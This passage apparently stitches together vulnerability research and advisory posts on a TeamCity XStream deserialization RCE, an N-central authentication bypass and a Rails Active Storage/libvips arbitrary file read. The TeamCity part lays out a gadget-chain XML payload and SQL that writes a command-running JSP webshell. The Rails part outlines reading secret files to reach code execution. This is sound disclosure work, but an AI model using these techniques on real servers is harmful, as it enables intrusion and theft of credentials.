Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

poc2.png

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

CVE-2026-18577: N-able N-central Authentication Bypass Exploited in the Wild

By: Rapid7
4 August 2026 at 07:11

Overview

On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.

N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.

According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.

On August 6, 2026, N-able released a second hotfix to further address CVE-2026-18577. This second hotfix supersedes the original hotfix published on August 2, 2026, and provides additional mitigations against the same vulnerability. Customers who have not yet applied the new 2026.3 Hotfix 2 should do so on an urgent basis.

Mitigation guidance

Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.

Affected versions:

  • All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 2.

Fixed version:

  • N-able N-central 2026.3.1 Hotfix 2 (2026.3.1.10).

The vendor also recommends:

  • Upgrading N-central agents after applying the server hotfix.

  • Reviewing systems for indicators of compromise.

  • Contacting N-able Support immediately if evidence of compromise is discovered.

  • Engaging internal incident response teams if malicious activity is identified.

For further information, see the vendor advisory.

IOCs

N-able has published several artifacts that administrators should investigate during incident response.

Endpoint Artifacts:

  • Presence of a cloudflared service.

  • A suspicious svchost.exe located within the user's Documents folder.

Network Indicators:

  • Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:

    • 173[.]249[.]252[.]200

    • 87[.]249[.]138[.]34

    • 37[.]19[.]210[.]32

    • 37[.]153[.]90[.]88

    • 92[.]118[.]112[.]181

    • 68[.]235[.]46[.]214 

Organizations should also review:

  • Authentication logs

  • Administrative account creation or modification

  • Take Control session activity

  • Remote management logs

  • Windows service installation events

To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.

Updates

  • August 4, 2026: Initial publication.

  • August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
  • August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.
  • August 14, 2026: Updated the Overview and Mitigation guidance sections to include the new vendor guidance that 2026.3 Hotfix 2 supersedes the original 2026.3 Hotfix 1.

Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)

3 August 2026 at 13:11

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.

Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.

We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.

The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.

The attack can be summarized as follows:

[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --> Target file bytes are returned as image pixels

Analysis

The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.

Direct upload stores an attacker-controlled type

The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
    end
    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # <-- [3]
    end

At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.

Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:

  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
  end

At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.

A genuine variation key can be replayed against another blob

The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:

module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # <-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end
    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
    end

At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

def process(file, format:)
  processor.
	source(file).
	loader(page: 0). # <-- [8]
	convert(format).
	apply(operations). # <-- [9]
	call
end
def processor
  ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
end
def operations
  transformations.each_with_object([]) do |(name, argument), list|
	if ActiveStorage.variant_processor == :mini_magick
	  validate_transformation(name, argument) # <-- [10]
	end
	if name.to_s == "combine_options"
	  raise ArgumentError, <<~ERROR.squish
		Active Storage's ImageProcessing transformer doesn't support :combine_options,
		as it always generates a single command.
	  ERROR
	end
	if argument.present?
	  list << [ name, argument ] # <-- [11]
	end
  end
end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

def self.load_image(path_or_image, loader: nil, autorot: true, **options)
	if path_or_image.is_a?(::Vips::Image)
	  image = path_or_image
	else
	  path = path_or_image
	  if loader
		image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
	  else
		options = Utils.select_valid_loader_options(path, options)
		image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
	  end
	end
	image = image.autorot if autorot && !options.key?(:autorotate)
	image
  end

Because loader: remains nil, [12] leaves decoder selection to libvips's file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader's sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

